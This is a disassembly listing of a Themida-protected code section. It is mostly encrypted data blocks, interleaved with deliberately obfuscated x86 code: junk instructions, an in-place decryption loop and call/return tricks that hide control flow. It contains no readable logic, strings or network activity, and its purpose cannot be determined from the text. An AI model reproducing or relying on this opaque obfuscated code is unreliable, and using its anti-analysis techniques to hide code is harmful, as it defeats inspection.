dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 0A1E357Dh, 3407000Eh
dd 0A0A3D25Dh, 1E59h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5BAFE3: ; CODE XREF: Themida_:005BAEF4j
jmp loc_5BBBE6
; ---------------------------------------------------------------------------
push 7AB9DCEh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB9ED0h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AB9F91h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ABA043h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ABA0A3h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ABA14Bh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ABA280h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ABA3BFh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ABA4A6h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ABA550h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7ABA606h
jmp loc_58941B
; ---------------------------------------------------------------------------
dw 39DAh
dd 7C20091Eh, 0BB5D465Bh, 0F89E879Ch, 32E1CADFh, 0C7021025h
dd 3183FDEh, 43587F1Ah, 859ABD5Ah, 0C8DDFA9Ch, 0CD0349E8h
dd 0D3CBADD5h, 17C78B39h, 0E1B83500h, 1AE709F6h, 70FEE28Bh
dd 166A475Fh, 669CE237h, 6CD358FFh, 0D5C29465h, 0A253D0Ah
dd 994E109Fh, 0A6BBDCFBh, 0A9EF1BFCh, 0D358FF73h, 64517279h
dd 1002D1Eh, 3F2C33DBh, 2E465106h, 1502D451h, 50471700h
dd 0B86F2A63h, 0BD6F7E0h, 0BF49263Eh, 0DB010086h, 0E9D0821h
dd 31364B4Ch, 6096DCh, 5F66DB01h, 0A5B26447h, 1BD5DDAh
dd 33B1A3E9h, 2730E48Bh, 75623506h, 0F1BCDDAAh, 0A1DA2F2Ch
dd 0CC02E0F7h, 0D2DB011Ah, 0D85F11CBh, 4ECDED27h, 21B01B36h
dd 1E549A71h, 18DB015Ch, 0F2B4FBECh, 0EEA55383h, 94612C2Bh
dd 0E5F2A273h, 0E1A9AFC4h, 38E3F05Fh, 4A0h, 9489AB36h
dd 0E4335C9Ah, 0F9997C94h, 47686F2Eh, 6AB0055Ah, 0D3587334h
dd 1F55333Ah, 25D35873h, 0B5EB311Eh, 0BBD35873h, 42BF9CB4h
dd 619A8790h, 0BD8A3B4h, 3522CCF3h, 6DAEF4E1h, 73DB009Bh
dd 0DD17A16Ch, 0F8DB009Bh, 314C2FBh, 0B965D0EBh, 0E3FF28F1h
dd 3048h, 11064600h, 233F5B2Ch, 0B7D84C77h, 0E14F84CAh
dd 4E55DB00h, 0E1BFF983h, 0C1DADB00h, 8EE0AA56h, 0D639E3F0h
dd 1E000000h, 0E7881FFCh, 1B33D3D2h, 17C735h, 0F2E5B835h
dd 0EFE8AA27h, 0E0F7A724h, 748CD5CBh, 0AF6FD359h, 0E8AA93A8h
dd 71E624EFh, 0BD72B8A5h, 0C3DB0199h, 0C696CFBCh, 8D92B9D1h
dd 0CC978054h, 0D243E7FFh, 0B8CF1502h, 0BEE2AC49h, 5375CAB7h
dd 11C4A513h, 9DE64C06h, 894C2F47h, 0FD1E39DEh, 0E8AAE3E8h
dd 3F5724EFh, 0A69EB95Ch, 0FC19BF16h, 3340CA1h, 0F9000009h
dd 412A3F58h, 866F8493h, 0C7B0C5D2h, 6EF0413h, 1D2B4057h
dd 3D5AF9ACh, 7F983F28h, 0C3D4816Ah, 215C5AEh, 286E0DEDh
dd 0CBADD2F2h, 0ABB05EF8h, 18A65089h, 2D6BF25h, 0F9DCF415h
dd 0F52B715Ah, 0D8D3594Dh, 96691700h, 594E1A50h, 0F81920D3h
dd 39D9C2D7h, 96DC311Eh, 0D3594E60h, 20475F66h, 0C5110634h
dd 765D92D8h, 0C363DB01h, 24F8A247h, 8E2E7933h, 48816E8Fh
dd 8F6C8493h, 21DCB05h, 62CDE6DBh, 0BDDA7EB7h, 52EDA5A5h
dd 0AC34E3FFh, 32000000h, 0DA1056ABh, 0E0D35970h, 3CDEC1D9h
dd 62B7501Bh, 5970E61Ch, 0CDE5ECD3h, 612C2BEAh, 59758ED7h
dd 0B6A171D3h, 0F1E6B8A1h, 0A76FE826h, 682C65BAh, 0B267576Fh
dd 0B8DB019Ah, 53405701h, 19AD70Dh, 0B5D6DDDBh, 0B561F6A0h
dd 475A82C8h, 5960E2ACh, 7760336Ch, 0A13B5D62h, 52CC6975h
dd 6332152Dh, 742A7C74h, 60F5FC19h, 80188h, 3126F700h
dd 7661331Ch, 0B7A07861h, 0FA1DB9A2h, 3E59FCE5h, 0F7AE1B29h
dd 351E3324h, 77607562h, 0B7A0B5A2h, 0FBDBF0E7h, 0D2E0165Ch
dd 4CE6CBADh, 314C79Eh, 425505EEh, 587F1C55h, 0AB2D1940h
dd 43997B89h, 6A829421h, 7627D787h, 54A43E82h, 9C19E405h
dd 2A8F44FAh, 0F7FC9657h, 0DAE4123Dh, 45662305h, 0DE54330h
dd 471205D4h, 59BE627Ah, 294A907Dh, 2FDB00B7h, 54023B28h
dd 22F02B43h, 0D9C92B12h, 6F32334h, 713867C0h, 79666DE1h
dd 0D5720D57h, 61E9FBDh, 0AA6AEB29h, 0A65777BDh, 565DE91Ch
dd 98CE1469h, 9EE91CA6h, 47807F97h, 826B8097h, 55CFC7D0h
dd 54E68831h, 740E7BFh, 65360000h, 0A0745D72h, 1FB9A2B7h
dd 5CFAE3F8h, 9E3D263Bh, 73566479h, 5F746332h, 9FB4A376h
dd 0E1F6E1B6h, 1C3126F8h, 21579D3Ch, 27CBADD1h, 17C7DF8Dh
dd 1EF73500h, 7E83C9B6h, 84DB01A4h, 59BE687Dh, 7D4A907Dh
dd 83E2AD3Fh, 82ACD1E3h, 2CF9C4D3h, 2E40CD72h, 37E7200Dh
dd 5DFA3320h, 0FEC9CE8Ah, 78451031h, 8E503960h, 9780BE89h
dd 0C4FD523Fh, 0FEEE0611h, 0EA586A58h, 486A575Eh, 0B314064Ch
dd 934314DCh, 346D6C84h, 77607562h, 0A7E5B0A7h, 337966AEh
dd 0F2009BB2h, 0A8DE2479h, 0AEF2009Bh, 0C8CF8FA7h, 0EC2EAAD0h
dd 0E8C055EDh, 68Eh, 0AFC4D384h, 0EC0116C6h, 2D425503h
dd 6C819644h, 0B2C7D083h, 0DD8025A4h, 1DBCA5BAh, 5FFCE5FAh
dd 983A2338h, 0EB8A6A7Fh, 0ADD06FA5h, 2DDB75CBh, 0D8C51106h
dd 50AF492h, 6F3FADBh, 0F50A0DCDh, 0F7E0B7F0h, 3D5AFCDFh
dd 0F3233472h, 3FBBC006h, 0BAC1E2ADh, 18CA92C2h, 0E0B84DFCh
dd 62Eh, 4F647324h, 8CA1B666h, 0CDE2F5A3h, 0C2136E4h, 52677023h
dd 7D208544h, 0BD5C455Ah, 0FF9C859Ah, 38DAC3D8h, 8B2A0A1Fh
dd 0ADD00F45h, 0CD7B15CBh, 662C1106h, 8A862E32h, 84D9C6E7h
dd 5919083Eh, 0EF070ED3h, 0B4DDAAF0h, 82A4DB04h, 3A6A23A2h
dd 0C3839B84h, 0C496CFBCh, 5D5BED3h, 86A7B062h, 3C987DBBh
dd 5740164Fh, 0A8A7BF8Ch, 0B0ADBC62h, 0CEBBC2E2h, 0E5D2C595h
dd 3AE689C3h, 0E1AE799Eh, 62E30127h, 983A234Ah, 0E176B47Fh
dd 490F4835h, 9EB6834Eh, 0A1D8599Fh, 0D7DEEA58h, 0B434A7DFh
dd 0B58D22E5h, 586h, 0A7BCDB7Ch, 0E4F91EBEh, 253A5DFBh
dd 64799E3Ch, 0AABFD87Bh, 0A5782D9Ch, 0E5B49DB2h, 27F4DDF2h
dd 60321B30h, 0E3826277h, 0ADCF679Dh, 25D36DCBh, 130017C7h
dd 0F01728F1h, 778F7E2Eh, 5A7D1D9Ah, 57074045h, 93842840h
dd 0AC015643h, 590D3066h, 422F36D3h, 590DC6FCh, 0ADC5CCD3h
dd 1357CBDh, 0B07B82DBh, 134EC26h, 83EE07DBh, 3BF5B6D8h
dd 0A21DDABDh, 61600198h, 89A1C28Ch, 0FFA8C189h, 2518E3h
dd 6160000h, 92D8C511h, 0DB01765Dh, 7915C63h, 0DB0176CDh
dd 0E0B2EBE8h, 59C4DFF7h, 0FFFBE5ADh, 0FE3CE3h, 0C73A0000h
dd 8E895017h, 665E806Dh, 34712E34h, 40617622h, 0FCE4B28h
dd 4FA43D08h, 58C3D309h, 0BAD2D9D3h, 451007D7h, 0EC0116C8h
dd 58C7ADF6h, 0C9CE90D3h, 0C0BCBB4h, 0F6120341h, 1EFC1BBDh
dd 0D358C7E8h, 0D9C6E7EEh, 0D72693h, 5298EDDBh, 0DB00D71Ch
dd 43031B22h, 0FFCACD8Ch, 52FC1132h, 0DE2411C5h, 0E2AB882Eh
dd 0EB402D34h, 0E026E5B2h, 0E2AB88AAh, 0BD88A9B0h, 26F5D8F0h
dd 60331C31h, 13FD7F77h, 770CFC19h, 4519Fh, 81964700h
dd 0C6D1836Ch, 710C8B1h, 4A4D09F2h, 8E894C35h, 475E6B79h
dd 856E8394h, 0C7B0C5D2h, 7F00512h, 4B2B4057h, 0CE3066ACh
dd 9C36CBADh, 3714C7EEh, 5970BBF1h, 63C82D3h, 0CD35970h
dd 63505705h, 5970E71Dh, 0C5E6EDD3h, 17C7B0h, 4278BE13h
dd 48D35971h, 70F92F75h, 0F8FFD359h, 9398BFD7h, 7F5AB771h
dd 4440A878h, 579C0C0Bh, 0DEC4DCFDh, 46151106h, 98B98651h
dd 0A27489ABh, 2ACCC93Ch, 98CD1312h, 9EDB0161h, 42532E7h
dd 6175AF39h, 7790DB01h, 0E2A600Ch, 0D6EFE3F0h, 0ED000000h
dd 350017C7h, 27F2E5B8h, 5974549Dh, 80C61BD3h, 0D359744Ah
dd 4E314950h, 193EDB8Ch, 4B60814Eh, 0BAA7B062h, 6F682C65h
dd 59745B91h, 425A61D3h, 0E62E2765h, 8346B3F9h, 454CDB01h
dd 90D62B30h, 0DB01835Ah, 0CC7A9D3Dh, 0C09ADC5h, 8695DBC8h
dd 8CE2AC30h, 451601D5h, 0ECB98493h, 0F0A5DECBh, 309FD51Bh
dd 9EA5E2ACh, 0CDE5B27Dh, 0D1C695CEh, 1C62B7BCh, 0E2AC30E6h
dd 5F0D0AC9h, 0F6602EBFh, 26474EE6h, 0DDBDF339h, 0BCC3E2ABh
dd 512C1A4h, 1968450Dh, 572FC4FCh, 312h, 2B405708h, 70859242h
dd 0B1C6D187h, 0F00512C8h, 2E435407h, 59FCA920h, 9940293Eh
dd 0DB80697Eh, 1CBEA7BCh, 6706E6FBh, 0ADCCEB21h, 0A957F1CBh
dd 0EE0314C7h, 2D425505h, 17C741h, 0F1E6B835h, 2DC0E204h
dd 0F6B0A771h, 90A84447h, 9FB27C69h, 2B715EB6h, 0DB00D90Ah
dd 27FAAFD1h, 5609A5C2h, 0FBC89384h, 0FB02C2DAh, 0F7204D2h
dd 83947F36h, 0F0B4187h, 0A117F36h, 0E1B6FCE9h, 0E786DE16h
dd 277C15E0h, 0DE16ABE1h, 92AAB186h, 0C0AD69EEh, 0FBC6D187h
dd 0C217162Eh, 15F1276Dh, 0F0F786DEh, 8EC8E8D8h, 17CE8E89h
dd 0BB885344h, 358AD9Ah, 898E87BDh, 0A8868D8Eh, 8E898E72h
dd 8EBDF339h, 0BCC38E89h, 0F0EF070Eh, 3F0E7B7h, 0BF590ECAh
dd 0DF00CD98h, 82F4714h, 60587F1Fh, 487B1908h, 2B2A0297h
dd 21000002h, 69526770h, 0AE97ACABh, 0EFD8EDEAh, 2E172C2Bh
dd 4553686Fh, 65722184h, 0A7B06750h, 0EBECA992h, 2A2DEDD6h
dd 50963515h, 0CBADCC1Ah, 0C7D88620h, 0F7350017h, 0D5FB1D1Eh
dd 4230E1C3h, 0DDA01588h, 6C8DE42Ch, 9CAC397Fh, 0ABB2DB00h
dd 0C27BA996h, 4E948155h, 0E2A8A22Dh, 35032C33h, 9F3710F7h
dd 0EBD83C19h, 0DF1E4CA5h, 397F52A6h, 0A6DF1E03h, 16E10209h
dd 0AA977FD8h, 915A3355h, 7E161D22h, 0A5154B91h, 141BA6DEh
dd 1DEC0CFCh, 3BF2AE8Ah, 0E2AF7A9Dh, 0FB9BD4C1h, 3CDEC7DCh
dd 0A933231Bh, 29BE287Bh, 18151h, 0B1A67700h, 0F6E1B39Ch
dd 3720F8E1h, 7A9D3922h, 0BED97C65h, 772E9BA9h, 0B59EB3A4h
dd 0F7E0F5E2h, 37203522h, 7B5B7067h, 0CB6096DCh, 0CC66CBADh
dd 17C71Eh, 0B61EF735h, 943E83C9h, 3D44DB01h, 0D6D42E50h
dd 6549049Ch, 0F4382CABh, 88A0413Fh, 33417461h, 6F3A5DFAh
dd 71E68AA2h, 5172B8A5h, 18E2A9D6h, 21A3DDFh, 44123B42h
dd 9B9CC26Eh, 624F8790h, 44CFC31Ch, 688AA3h, 9086C8C3h
dd 80FCFE7h, 0BE16FF3Dh, 976B8BD1h, 6A71AAF0h, 9BA35B7Dh
dd 9571346Bh, 95457E7Dh, 451007D2h, 370215C8h, 1328496Ah
dd 776F682Ah, 24DC8B8Dh, 0CBDFB74Ch, 0C1000000h, 9F20710h
dd 4E374C4Bh, 8F788D8Ah, 0CEB7CCCBh, 0E5F3080Fh, 512C1E4h
dd 475007F0h, 8B8C4932h, 0CACD8D76h, 0F036D5B5h, 0CBADCABAh
dd 0C77826C0h, 0F7350017h, 83C9B61Eh, 0DB01856Eh, 0AE586D74h
dd 2B806DA9h, 1A3225F2h, 0AD1F802Ah, 612547E2h, 12E229D7h
dd 646B2B43h, 5D7A1C99h, 98BF5F48h, 9B1234CDh, 410B631Ah
dd 0DAFB1CBCh, 1FD4D2C2h, 0E5E0E9C5h, 2C2BEB7Ah, 6B6C2E17h
dd 0ADE3297Eh, 0B3E9C51Fh, 1F649AE0h, 636AE9C5h, 0B44D2A42h
dd 0DF364A92h, 0C4C56399h, 0A86269E9h, 8DA51844h, 8852ECAAh
dd 0B68A5011h, 0ACB44B52h, 0C8A467F2h, 0B461DCA7h, 0FF18BA49h
dd 465101EAh, 8A37Bh, 93CC0000h, 0D8BED6C1h, 16C73EDCh
dd 19B93601h, 0E1B633FEh, 0EBAE2BF6h, 0F1A421ECh, 0FF9E1BE6h
dd 0CA900DD8h, 0D38502CDh, 0D87CF9C4h, 533CF4BFh, 0C381E389h
dd 4, 4BD55h, 0EB290000h, 241C875Dh, 1FAE685Ch, 2C890000h
dd 0E0895024h, 405h, 4E88300h, 5C240487h, 51243489h, 52719CB9h
dd 0EA71BD34h, 0CD3133F9h, 81240C8Bh, 4C4h, 348B5400h
dd 4C48324h, 4EC81h, 2C890000h, 8468F24h, 5324348Bh, 0C381E389h
dd 4, 4C381h, 1C870000h, 34FF5C24h, 0C4815D24h, 4, 0FCD83EE9h
dd 62D486FFh, 99F303C8h
db 4Eh, 33h
; ---------------------------------------------------------------------------
loc_5BBBE6: ; CODE XREF: Themida_:loc_5BAFE3j
mov eax, 7ABA6F6h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
sal byte ptr [ebp+7C133EE9h], cl
xor edi, [edi-0Bh]
push 6797701h
jnp short near ptr loc_5BBC53+2
imul ecx, [ebp+22988035h], 65h
nop
sub eax, ebx
sbb ebx, ecx
and ah, [edx+4F7EC410h]
dec ecx
call near ptr loc_5BBC1F+1
cmp [ecx+47C250B9h], edx
sti
loc_5BBC1F: ; CODE XREF: Themida_:005BBC13p
mov al, ds:58DFB70Fh
add eax, 6B76h
xor bx, 0EBDh
mov edi, 1D746FB1h
sub edi, 1D7454F6h
movzx ecx, dx
loc_5BBC3D: ; CODE XREF: Themida_:005BBC9Ej
push dword ptr [eax]
cmc
pop edx
pusha
pusha
jmp loc_5BBC51
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 98h, 0E0h, 10h
; ---------------------------------------------------------------------------
mov eax, 0B8AD053Bh
loc_5BBC51: ; CODE XREF: Themida_:005BBC43j
stc
popa
loc_5BBC53: ; CODE XREF: Themida_:005BBBFEj
mov dx, 6AA0h
popa
add edx, 219044C0h
mov cl, 0A2h
sub edx, 5C3D463Fh
mov bx, di
add edx, 2AD38C1Ah
mov ecx, 2BB6E790h
push edx
jmp loc_5BBC87
; ---------------------------------------------------------------------------
fisub dword ptr [esi-3Bh]
db 64h
xchg eax, edi
sbb al, 4
and [edx+212B184h], ecx
loc_5BBC87: ; CODE XREF: Themida_:005BBC75j
pop dword ptr [eax]
jb loc_5BBC95
and ebx, 3BA025ACh
loc_5BBC95: ; CODE XREF: Themida_:005BBC89j
sub eax, 4
mov ebx, 4B80C577h
dec edi
jnz loc_5BBC3D
mov esi, ebx
jmp short loc_5BBCF7
; ---------------------------------------------------------------------------
dd 0FA251C8Fh, 0C6A108ABh, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h
dd 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh
dd 0E900A6DBh, 9F00431Ah, 0DC80BAh, 54000000h, 0FEB51Bh
dd 0FBFE3300h, 87000000h, 2352DDB4h, 19ED920h
db 9Eh, 80h, 7Ch
; ---------------------------------------------------------------------------
loc_5BBCF7: ; CODE XREF: Themida_:005BBCA6j
jmp loc_5BCF6D
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5BBD07
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBD07 proc near ; CODE XREF: Themida_:005BBCFFp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5BBD07 endp
; ---------------------------------------------------------------------------
xchg eax, edx
cmp dword ptr [ebp+7A806A5h], 0
jnz loc_5BBD40
push esi
xor edx, [ebp+7A81D25h]
pop edi
mov eax, 0
jg locret_5BBD39
cmc
locret_5BBD39: ; CODE XREF: Themida_:005BBD32j
retn 4
; ---------------------------------------------------------------------------
mov dx, 1307h
loc_5BBD40: ; CODE XREF: Themida_:005BBD1Fj
mov eax, eax
push 0
push ebx
call sub_5BBD4D
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBD4D proc near ; CODE XREF: Themida_:005BBD45p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5BBD4D endp
; ---------------------------------------------------------------------------
db 1Bh, 12h, 0F4h
dd 0D2D5CE02h, 0BD83FE8Bh, 7A827F9h, 83097500h, 0A80605BDh
dd 13740007h, 0C08B5350h, 4D0B8h, 0F79D8D00h, 0FF07AAADh
dd 83585BD3h, 0A80605BDh, 11740007h, 0D0B85350h, 8D000004h
dd 0AAAD449Dh, 5BD3FF07h, 0DF816658h, 895225DAh, 0A800719Dh
dd 0C08B5A07h, 0FF8B70Fh, 858DCFBFh, 7ABA882h, 0F5C5BF66h
dd 66525090h, 310FF98Bh, 61595160h, 9050585Ah, 0CE9h, 364F100h
dd 0AE0126Fh, 0C13FCDCEh, 94D18131h, 8D6E5337h, 0ABA83F85h
dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 1DFCC24h, 0A8047985h, 0F7E98107h, 9072E902h
dd 5150DBB5h, 13E850h, 82FD0000h, 0A27D100Bh, 0DECB72FFh
dd 0BDC82CC5h, 89FD2F43h, 595F5F7Ah, 0B9BD8990h, 0FF07A82Fh
dd 0A830B995h, 11E807h, 1BB30000h, 0B3928BA5h, 0C7A169A1h
dd 76FCDB5Eh, 89304CD9h, 0A82C559Dh, 448B5A07h, 89FC0424h
dd 0ABA86A85h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 24448B52h, 8EC28108h
dd 897DE23Ch, 0ABA87E85h, 0C88B6607h, 2701BD83h, 0F0007A8h
dd 0FE85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 0EF4B28C8h, 0ACF7211Bh, 85C6606Dh
dd 7A80619h, 4E8F547h, 0D2000000h, 0B5D49AA7h, 0BF665061h
dd 448BBE22h, 22BA0424h, 8B5785ECh, 89D08B00h, 66042444h
dd 0E958F88Bh, 13h, 6343D128h, 0CE38AF21h, 71739193h, 0C9A193DEh
dd 0FF02634Eh, 0A80CE1B5h, 0A9852907h, 8D07A833h, 0AB781A85h
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 6F24F55Ch, 0F9BF0FEDh, 6AD0FFh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 9D899EC3h, 7A80645h, 258D8B56h, 5A07A814h, 27018589h
dd 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 0AE9FBC3h, 0C3000000h, 0FEC97144h, 0CF3280A7h
dd 8343B114h, 0A82161BDh, 850F0007h, 0C3h, 0C6FFB70Fh
dd 0A8061985h, 958B4707h, 7A80CF5h, 0C2B2F468h, 0DE850h
dd 0ECA20000h, 0A67F8D51h, 57E6BEBFh, 59E22819h, 0EE240481h
dd 6A394D02h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 5F37C357h, 2AE769FFh, 14E80Fh
dd 3A760000h, 61E4E552h, 0E4FA6AD3h, 0E465CD4Ch, 0C6A41DE1h
dd 0FA8B47D2h, 0E1B5FF59h, 6A07A80Ch, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 6266C350h
dd 30A1958Bh, 858D07A8h, 7AB781Ah, 68B0Fh, 95890000h, 7A81A9Dh
dd 0EE9D0FFh, 9A000000h, 0F8D5ECA6h, 69811F61h, 278FEA41h
dd 6185892Ah, 8307A821h, 0A834E1BDh, 850F0007h, 124h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5DC35242h, 9A85AF64h
dd 1D45950Bh, 8D8907A8h, 7A82949h, 61985C6h, 0E95607A8h
dd 9, 68CADC83h, 5FBCAB14h, 975D68EAh, 5250B80Fh, 14E8h
dd 586BA700h, 42971A69h, 378950C6h, 632C14Eh, 5B92438Ah
dd 310F5F03h, 0FE9h, 94A21000h, 3D40A9F7h, 0C9319C79h
dd 0EF5C48BEh, 3481585Ah, 10FA6424h, 57006A6Ch, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 12E88Dh, 0CDB00000h
dd 0AA270F81h, 0A0417F9Eh, 0B28392BBh, 0D7D639AEh, 0B5FF59F9h
dd 7A80CE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 2C35343h, 55478CA5h, 232FAE50h, 0A826598Dh, 1A858D07h
dd 8B07AB78h, 0A82291BDh, 89D0FF07h, 0A80B71BDh, 0E1858907h
dd 6A07A834h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 0B57DC352h, 0C0BB7ED3h, 71B0E1E1h
dd 61985C6h, 666C07A8h, 5A16CA81h, 2BFAC768h, 8137B2D0h
dd 8A442434h, 6E80B2Eh, 0E7000000h, 3831DD82h, 7D8529F0h
dd 5A07A821h, 1895B5FFh, 8D8B07A8h, 7A8103Dh, 3BDF858Dh
dd 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 6D4DAC3h, 8B66AC34h, 0CE8B66CFh, 0B589D0FFh
dd 7A80E85h, 8589C88Bh, 7ABA86Eh, 6D952Bh, 0BD8307A8h
dd 7ABA88Ah, 2B850F00h, 89000001h, 0A82D3D9Dh, 1985C607h
dd 4907A806h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 1AC35242h, 0AFFE015Ch, 0BC95F33Fh, 14E9h, 0DECB7200h
dd 0BDC82CC5h, 89FD2F43h, 6713D27Ah, 90805577h, 29A568CBh
dd 3481E3F2h, 0E7004C24h, 55006A6Fh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 54076435h
dd 6AF9C063h, 0F1BD8998h, 0B07A829h, 0A8050595h, 41958907h
dd 0FF07A80Ah, 0A81895B5h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 9B0FC5D3h
dd 0D2816677h, 0B589281Ah, 7A834E5h, 3BDF858Dh, 0FE907A8h
dd 0EE000000h, 34EF1E78h, 139BBBC7h, 0C941669Eh, 0D0FFC6AEh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 6DC35040h
dd 0B70F6B44h, 8A8589D7h, 6A07ABA8h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 4041C357h
dd 34133965h, 0E063341Bh, 0D358D29h, 46A07A8h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 3FC35040h, 0D78BE470h
dd 4E8h, 100000h, 8B666000h, 6152B5D0h, 14E850h, 9CC90000h
dd 0B574FCA1h, 2D3A7344h, 6D64EBF5h, 725AA548h, 8B59AF18h
dd 66042444h, 8BF88Bh, 50C38B60h, 0CC8BB952h, 310F7883h
dd 5E8h, 0CB0BFB00h, 5A5FA671h, 44896158h, 8B660424h, 0DE858D7h
dd 0FA000000h, 6316F3AAh, 0C5891E8Ah, 28C46ADDh, 2870Fh
dd 0F8B60000h, 645685Ah, 51602494h, 4C1110B9h, 81615A08h
dd 6452434h, 0BD8B2495h, 7A81879h, 6A006Ah, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A95276C3h
dd 809BEA95h, 0F3F6AA6h, 68Ah, 0F5BD2900h, 2907A807h, 0A830A1BDh
dd 2D95FF07h, 6A07A813h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 6762C356h, 2F99F22Ch
dd 0A7D505F3h, 165ED281h, 85896357h, 7ABA87Ah, 1A558D8Bh
dd 85C707A8h, 7ABA872h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5BC497
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BC497 proc near ; CODE XREF: Themida_:005BC48Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5BC497 endp
; ---------------------------------------------------------------------------
db 31h
dd 0EC486ED8h, 31E7DB37h, 0A81CAD95h, 89006A07h, 0A814C19Dh
dd 80B86807h, 0E960022Bh, 13h, 0C354A742h, 12903125h, 0D242EBEBh
dd 0B2637ECBh, 0E87F564Eh, 7, 59F343E1h, 8BBAAE75h, 81615EF1h
dd 80B82434h, 8D8B022Ah, 7A8110Dh, 0BF665050h, 8959AECAh
dd 0FE92404h, 0CC000000h, 47CEA425h, 1A4D82F7h, 0B1E13073h
dd 0B6A8345h, 33D59D01h, 858D07A8h, 7ABA847h, 0B880Fh
dd 840F0000h, 5, 0D2D78166h, 8E0F90C2h, 2, 0B950D18Bh
dd 5A1C320Bh, 95FFF990h, 7A82701h, 8D8D3151h, 5A07A825h
dd 0A851B58Dh, 6A07ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 0F937EAC3h, 89E96427h, 0A82E1D95h
dd 52509607h, 310FD08Bh, 8E9h, 4B1EFC00h, 0B2234DD5h, 50585A0Eh
dd 0C012BA66h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 8B90007Ah, 0E89050F9h
dd 10h, 0B3F12C3Ch, 0B21E254Eh, 9814573Bh, 5C291AE3h, 100ABF66h
dd 6195FF5Fh, 0F07A821h, 0C00BF8BFh, 13850Fh, 0BA660000h
dd 8D29DB7Bh, 7A8264Dh, 729E9h, 85B96600h, 6AD0FFB2h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 0CF7CC352h, 0EE8h, 0D331A600h, 0B7A77BBAh, 0BEC7C1FDh
dd 0FEFD7BEh, 8Fh, 0B58B5F00h, 7ABA87Ah, 8A66BF66h, 0B20468Dh
dd 0A822BD95h, 6A046A07h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 2D0EC350h, 4895041h
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 77591529h, 6E9B107h, 0CB000000h, 915D4D97h
dd 8A95FF95h, 8107ABA8h, 0F4C644EFh, 0FC00B44h, 0C84h
dd 0A9BD8900h, 0E907A804h, 66Ah, 207E80F5h, 5F840F00h
dd 6A000006h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 6B65C353h, 6010BAE6h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DAC35242h, 302D8589h
dd 13E907A8h, 0A8000000h, 0D3F9CB93h, 0F1F8C5A2h, 0A4665B07h
dd 86BFFE91h, 468D68E3h, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 449F676Bh, 34EA91Dh, 1DBD0959h
dd 8907A825h, 0ABA87685h, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 472F6DD5h
dd 5640BC1Eh, 2935950Bh, 8D0107A8h, 7A82221h, 0E5E9h, 9E900h
